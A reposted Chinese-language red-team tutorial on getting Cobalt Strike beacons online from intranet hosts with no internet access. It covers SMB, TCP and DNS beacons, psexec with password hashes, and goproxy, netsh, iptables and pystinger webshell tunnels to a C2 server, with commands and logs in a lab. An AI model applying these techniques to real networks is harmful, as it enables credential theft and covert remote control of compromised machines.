不出网上线CS的各种姿势(内网横向)

情况一:存在一台中转机器

存在一台中转机器,这台机器出网,这种是最常见的情况。

经常是拿下一台边缘机器,其有多块网卡,用于连接内外网,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。因为内网机器不出网,所以就算被种马,也上不了线,应为木马反弹回去的时候出不了网。

拓扑大致如下:

img

上线方法一:SMB Beacon

大致流程:

首先要拿下边缘服务器,然后使用边缘服务器当代理,进入内网服务器,并上传木马。

怎么通过边缘服务器进行代理呢?

通过在边缘服务器和内网服务器之间建立隧道(Beacon SMB/TCP),但是建立隧道要有内网服务器的权限(管理员账号密码),怎么获取呢,有以下两种思路:

1.内网服务器部署了其他服务,通过这些服务来进行入侵,然后提权;

2.内网横向,但是不知道内网服务器管理员的账号密码,所以要对账号密码进行合理的猜测,一般管理员为缓解对账号密码的记录,会将账号和密码设为同一个,我们已经拿下边缘服务器,那么使用边缘服务器的账号密码进行登录入侵。

抓取密码---CS

明文密码抓取:由于微软的补丁已经不允许抓取明文密码了,但是我们可以通过修改注册表来让Wdigest Auth保存明文密码(具体流程参考:cs与msf权限传递,以及mimikatz抓取win2012明文密码_cs与msf权限传递,以及mimikatz抓取win2012明文密码-CSDN博客

密文密码:可以通过hashdump来抓取,然后通过passhash进行认证

passhash原理:windows存在Winlogon.exe这个进程会将明文的账号密码传递给下一个进程Lsass.exe,该进程会对明文密码进行加密,并存储一份在该进程中,然后加密后的密码存储到SAM文件中,然后下一次登录时会和该存储的密文进行对比。

使用passhash,需要知道内网中有几台机器,可以用namp进行扫描,也可以使用CS提供的port scan(端口扫描)

隧道建立后就可以用copy命令将木马文件传递到内网服务器的共享文件中去,至此,成功横传成功。

介绍

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb(smb为我的smb listener名字)

img

使用插件,或自带端口扫描,扫描内网机器

img

转到视图,选择目标

img

使用psexec

img

选择一个hash,选择smb 监听器和对应会话

img

即可上线

img

img

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

img

img

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。

上线方法二:中转listener(Reverse TCP Beacon)

其实和方法一是类似的

img

以下内容会自动配置

img

然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener

img

img

img

上线方法三:HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理,项目地址:

代码语言:javascript

复制

https://github.com/snail007/goproxy

过程:

1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

代码语言:javascript

复制

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

代码语言:javascript

复制

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

img

3.创建listener,配置如下

img

4.生成stageless payload,在业务服务器上执行,成功上线

img

连接过程

代码语言:javascript

复制

192.168.111.236  → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)
上线方法四、TCP Beacon(正向)
  • 正向连接

  • 和SMB Beacon比较类似。也需要一个父beacon

  • SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如:Attacks → Packages 、 Attacks → Web Drive-by )。

测试:

生成一个tcp beacon

img

使用该beacon生成一个stageless形式的木马:

img

上传到目标机器运行:

img

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

img

要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。

img

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。这里仅简单演示一下:

一般不会将pystinger用在这种场景下

测试环境:

攻击机kali:192.168.1.35

web服务器:192.168.1.70、192.168.111.129

业务服务器:192.168.111.236

过程:

1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8

web服务器外网ip为192.168.1.70

img

上传stinger_server.exe,执行

代码语言:javascript

复制

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

代码语言:javascript

复制

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020:

img

使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线:

img

img

补充:中转机器为Linux
HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发:

代码语言:javascript

复制

echo 1 >/proc/sys/net/ipv4/ip_forward

代码语言:javascript

复制

iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080
​
iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131:822

测试:

img

生成stageless payload,在目标机器上执行,成功上线

使用pystinger进行代理转发

和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

img

CrossC2使用

用来上线Linux或MacOS机器

项目地址: 【一定要下载对应版本的

代码语言:javascript

复制

https://github.com/gloxec/CrossC2

配置:

(我这里在Windows上运行的teamserver)

img

创建个https监听:

img

生成个payload

(用其他方式也可以)

img

img

img

如果生成不了,也可以直接命令行生成

img

生成之后,上传到Linux机器,运行,即可上线:

img

img

安装CrossC2Kit插件,丰富beacon的功能

img

img

内网机器上线CS:

中转的Linux机器上线之后,即可用上面的方法来上线内网机器。

TCP Beacon:

img

img

上传到目标机器运行。

然后在Linux beacon下连接:

img

上线之后是个黑框,checkin一下就可以了

情况二:边缘机器只有DNS协议出网

DNS上线CS
一、准备工作

1)域名 ,godaddy :yokan.xxx2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19

img

3)cobalt strike 4.1

二、域名设置

1)设置解析

配置A记录设置成vps的ip,cs也配置在vps上

img

配置几个ns记录 指向刚刚A记录对应的域名

img

配置完成之后ping test.yokan.xxx可以ping通

img

vps上查看53端口占用情况,停掉vps的53端口服务

img

systemctl stop systemd-resolved

img

img

2)cs设置监听

img

![image-

都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。

img

3)nslookup查看 ,成功解析:

img

注意:响应的地址74.125.196.113,这个是跟profile里设置的

img

三、cs上线

生成cs的stageless上线马,执行上线

stageless 马 dns有x64版本 , stager没有

img

img

上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver

img

PS:需要多等一会

img

这样就可以正常交互了:

img

情况三:边缘机器不出网

方法一、TCP Beacon 正向连接

应用场景:边缘机器各种协议均不出网,但是可以正向访问到。

使用:

先让自己的攻击机上线

img

然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。

img

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

img

方法二、使用pystinger(毒刺)工具

应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。

项目地址:

代码语言:javascript

复制

https://github.com/FunnyWolf/pystinger

简单原理:

Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs

img

(图源网络)

使用

地址:

代码语言:javascript

复制

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了:

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理
  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言:javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线
  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言:javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线
  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行 start D:/XXX/stinger_server.exe 192.168.3.11 启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

代码语言:javascript

复制

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

  • 生成payload,上传到主机运行后即可上线

  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy
  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

代码语言:javascript

复制

--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理

代码语言:javascript

复制

--proxy "socks5:127.0.0.1:1081"
测试

攻击机:192.168.1.89

假设我们在拿下一台目标主机,但是无法连接外网。

img

使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

img

stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

img

img

stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。

代码语言:javascript

复制

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

img

CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

img

生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/33358.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分享几个小红书获取笔记详情API接口调用实例

item_get_video-获得小红书笔记详情 smallredbook.item_get_video 公共参数 名称类型必须描述keyString是调用key&#xff08;API支持测试&#xff0c;获取测试key&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地址中&#xff09;[i…

react 父子组件的渲染机制 优化手段

**优化后** 优化思路&#xff1a;将使用了state的组件拆分为一个子组件&#xff0c;state在子组件中使用(将state下发到子组件)&#xff0c;state变化时仅当前组件重渲染。// 优化后写法 const Component () > { return ( ) } const ButtonWithDialog () > { const […

HTML(14)——结构伪类选择器和伪元素选择器

结构伪类选择器 作用&#xff1a; 根据元素的结构关系查找元素 选择器说明E:first-child查找第一个E元素E:last-child查找最后一个E元素E:nth-child(N)查找第N个E元素(第一个元素N值为1) 例如&#xff1a;查找第一个li标签&#xff0c;将背景改为绿色 <style> li:fir…

【OpenGL基础教程】OpenGL的介绍

文章目录 前言可编程管线(核心模式)状态机总结 前言 在计算机图形学领域&#xff0c;OpenGL&#xff08;Open Graphics Library&#xff09;是一个标准&#xff0c;它定义了一套跨语言、跨平台的编程接口。它用于渲染2D、3D矢量图形。这个接口由近350个不同的函数调用组成&…

Android C++系列:C++最佳实践5const

1. 背景 在Java中我们定义常量通常用final static TYPE variableName = xxx来实现,在C语言中我们通常用预编译宏来实现:#define MAX 100,在C++中虽然我们仍可以使用预编译宏,但是已经不推荐这么干了。在Effective c++ 的条款1中:提到“尽量用编译器而不用预处理”,因为#…

周报 | 24.6.17-24.6.23文章汇总

为了更好地整理文章和发表接下来的文章&#xff0c;以后每周都汇总一份周报。 天才程序员周弈帆 | Stable Diffusion 解读&#xff08;三&#xff09;&#xff1a;原版实现源码解读(篇幅略长&#xff0c;建议收藏&#xff01;)-CSDN博客 周报 | 24.6.10-24.6.16文章汇总-CSDN…

APP启动流程

文章目录 主要构成详细启动流程参考链接 主要构成 App的启动流程主要涉及几个关键步骤和组件的交互&#xff0c;包括Launcher进程、ActivityManagerService&#xff08;AMS&#xff09;、Zygote进程、以及App进程本身。以下是详细的启动流程&#xff1a; 用户操作&#xff1a;…

[职场] 怎么写个人简历模板 #其他#知识分享

怎么写个人简历模板 怎么写个人简历模板1 姓名&#xff1a;xxx 性别&#xff1a;x 年龄&#xff1a;x岁 婚姻状况&#xff1a;x 最高学历&#xff1a;xx 政治面貌&#xff1a;xx 现居城市&#xff1a;xx 籍贯&#xff1a;xx 联系电话&#xff1a;xxxxxx 电子邮箱&#xff1a;xx…

SPN-PLMN运营商名称更新的一些规则及代码逻辑

规则简介 EONS也是更新PLMN,而不是SPN,SPN都是依据卡信息。 在MTK平台上,提供lookupOperatorName逻辑,根据SPN/EONS/NITZ刷新运营商名称显示内容,也可以自定义优先级。 流程接口 [SST] refreshSPN 更新SPN => Note:MTK源码是通过lookupOperatorName,客制化加入con…

vue的学习之路(Axios 基本使用)

<script src"js/axios.min.js"></script> 3、在页面中引用 4、发送异步请求 url?xxx rest请求【GET,POST,DELETE,PATCH】 5、准备一个SpringBoot的控制层与axios进行交互 实体类 public class User { private Integer id; private String user…

家政小程序开发,打造方便快捷的家政市场

随着生活水平的提高&#xff0c;对家政的需求也在逐渐增加。不过在市场中&#xff0c;传统的家政服务存在严重的信息差&#xff0c;需要花费大量时间才可以找到合适的家政人员&#xff0c;效率较低。 互联网家政小程序因此出现&#xff0c;它能够直接连接用户与家政人员&#…

【Homebrew】包管理器清理软件包,释放mac空间

Homebrew 包管理器安装了大量的 kegs(软件包)、文件,并且占用了mac 空间 如果你想管理这些空间或者获取哪些软件包占用了最多空间的详细信息,可以使用以下 Homebrew 命令: 列出所有已安装的软件包: brew list查看每个已安装软件包的大小: brew list --formula --versio…

普洛菲斯手持式触摸屏 GP2401H-TC41-24V

触摸屏 分类 根据传感器的类型&#xff0c;触摸屏大致被分为红外线式、电阻式、表面声波式和电容式触摸屏四种。红外线技术触摸屏价格低廉&#xff0c;但其外框易碎&#xff0c;容易产生光干扰&#xff0c;曲面情况下失真&#xff1b;电容技术触摸屏设计构思合理&#xff0c;但…

深入理解Qt属性系统[Q_PROPERTY]

Qt 属性系统是 Qt 框架中一个非常核心和强大的部分&#xff0c;它提供了一种标准化的方法来访问对象的属性。这一系统不仅使得开发者能够以一致的方式处理各种数据类型&#xff0c;还为动态属性的管理提供了支持&#xff0c;并与 Qt 的元对象系统紧密集成。在这篇文章中&#x…

WPF——属性

一、属性 类最初只有字段与函数&#xff0c;字段为一个变量&#xff0c;访问权限可以是private&#xff0c;protected&#xff0c;public。而将字段设为private&#xff0c;不方便外界对类数据的操作&#xff0c;但是将字段设为public又怕外界对数据进行非法操作&#xff0c;于…

FFmpeg源码:get_bit_length函数分析

一、get_bit_length函数的作用 get_bit_length函数的定义放在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为5.0.3&#xff0c;该ffmpeg在CentOS 7.5上通过10.2.1版本的gcc编译&#xff09;的源文件libavcodec/h2645_parse.c中&#xff1a; static int get_bit_length(…

尴尬时刻:如何在忘记名字时巧妙应对

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

llama系列模型学习

一、目录 llama1 模型与transformer decoder的区别llama2 模型架构llama2 相比llama1 不同之处llama3 相比llama2 不同之处llama、llama2、llama3 分词器词表大小以及优缺点采用的损失函数是什么&#xff1f;为什么Layer Norm 改为RMS Norm?如何消除模型幻觉&#xff1f; 二…

Vscode配置Verilog开发环境(二)

两年前我写过一篇vscode配置fpga开发环境的博客&#xff0c;近期发现查看的人数还是比较多的&#xff0c;经过两年的使用&#xff0c;优化了代码模板以及删减了一些插件等等&#xff0c;因此有了本文。 目前我的vscode只有下图中的九个插件&#xff0c;相比前文已经减少了一些了…

地级市绿色创新及碳排放与环境规划数据(2000-2021年)

数据简介&#xff1a;分享各个城市对于碳排放的降低做出了哪些共享。该数据是地级市2000-2021年间由绿色创新、碳排放与环境规制数据构成的能源与环境研究数据大合集&#xff0c;并对其进行可视化处理&#xff0c;供大家研究使用。当今我国大力推进生态文明建设、美丽中国建设等…